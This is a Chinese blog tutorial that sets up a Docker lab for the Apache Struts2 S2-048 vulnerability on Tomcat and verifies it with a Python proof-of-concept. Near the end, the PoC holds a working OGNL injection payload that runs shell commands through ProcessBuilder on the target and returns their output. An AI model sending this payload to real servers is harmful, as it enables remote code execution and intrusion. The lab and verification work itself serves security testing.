最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

使用Docker搭建Struts2-048漏洞环境及Python PoC验证

旗下网站admin29浏览0评论

使用Docker搭建Struts2-048漏洞环境及Python PoC验证

使用Docker搭建Struts2-048漏洞环境及Python PoC验证

这次是继续使用Docker搭建Struts2-048漏洞环境,并且利用PoC进行测试。


生成容器:

直接使用上次制好的镜像ubuntu_aliyun:1.0,直接生成容器:

docker run -it -d --name struts2-048 -p 8088:8080 ubuntu_aliyun:1.0

注意点就是Tomcat的默认端口为8080,因而端口要映射到8080。

通过docker ps即可查看是否已启动

进入容器:

docker exec -it id /bin/bash

更新源:

apt-get update


安装jdk:

先查看是否已安装jdk:

java -version

如图则没有安装,接着直接安装默认jdk即可:

apt-get install default-jdk


安装完之后再查看:


接着查看并配置java环境变量:


确认已配置好。


安装Tomcat:

通过wget命令下载Tomcat的安装包:

wget .0.79/bin/apache-tomcat-7.0.79.tar.gz

接着解压:

tar xvf apache-tomcat-7.0.79.tar.gz

开启Apache:


访问查看是否已开启:

可以通过curl命令本机查看一下:


当然直接到物理机的浏览器访问相应映射的端口访问也可以:


若出现如上图则安装成功。


下载配置struts2:

通过wget命令下载相应有漏洞的版本,最好不在官网下、因为没有旧版本且都打了补丁的,本次示例下的是struts2.3.32,网上有很多可下载的站点找一个下就好。 

解压:

unzip struts-2.3.32-all.zip

然后将struts2目录中apps目录内的struts2-showcase.war文件复制到Tomcat/webapps目录中的ROOT.war即可:

cp /struts-2.3.32-all.zip/apps/struts2-showcase.war /apache-tomcat-7.0.79/webapps/ROOT.war

接着重启Tomcat:

./apache-tomcat-7.0.79/bin/shutdown.sh

./apache-tomcat-7.0.79/bin/startup.sh


编写PoC验证:

访问:8088/integration/saveGangster.action

先手工验证一下,在Gangster Name一栏输入如图,看看是否将其中的两个数值进行相加:


点击Submit,查看返回结果:


可以看到直接计算出了123和456的加法的和的值,即手工测试是成功的,接着就上PoC进行验证:

#!/usr/bin/python
# coding=utf-8
import requests

def poc(url):

    data = {'name':"${(#dm=@\u006Fgnl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#ef='echo st2-048').(#iswin=(@\u006Aava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#efe=(#iswin?{'cmd.exe','/c',#ef}:{'/bin/bash','-c',#ef})).(#p=new \u006Aava.lang.ProcessBuilder(#efe)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'age':'bbb', '__checkbox_bustedBefore':'true', 'description':'ccc'}
    r = requests.post(url, data=data)
    return r.content

def main():

    url = ':8088/integration/saveGangster.action'
    result = poc(url)

    print '[*]Testing for: ' + url
    if 'st2-048' in result:
        print '[+]Struts2-048 exists!'
    else:
        print '[-]Struts2-048 does not exist.'

if __name__ == '__main__':
    main()

运行结果:


当然该PoC可以修改为实现批量Struts2-048检测的功能,这里就不多做修改了~


制成镜像:

最后将搭建好的环境制成镜像并打包方便以后的使用:

docker commit id st2-048:1.0

docker save -o st2-048.tar st2-048:1.0


这样,Struts2-048漏洞环境的镜像就打包制作好了~

发布评论

评论列表(0)

  1. 暂无评论